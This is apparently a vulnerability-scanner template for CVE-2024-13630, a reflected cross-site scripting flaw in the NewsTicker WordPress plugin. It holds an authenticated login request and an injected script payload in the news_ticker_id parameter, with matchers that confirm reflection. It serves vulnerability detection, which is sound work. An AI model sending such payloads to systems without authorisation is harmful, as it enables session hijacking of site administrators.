NewsTicker <= 1.0 - Reflected Cross-Site Scripting

id: CVE-2024-13630

info:
  name: NewsTicker <= 1.0 - Reflected Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    NewsTicker WordPress plugin v1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/15eed487-01ac-4c1e-88f8-26cfa036fb54/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13630
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13630
    cwe-id: CWE-79
    epss-score: 0.0059
    epss-percentile: 0.44057
    cpe: cpe:2.3:a:mahinsha:newsticker:1.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mahinsha
    product: newsticker
    shodan-query: http.component:"WordPress"
    fofa-query: body="news-ticker"
  tags: cve,cve2024,wordpress,wpscan,wp,wp-plugin,newsticker,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=update_news&news_ticker_id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and
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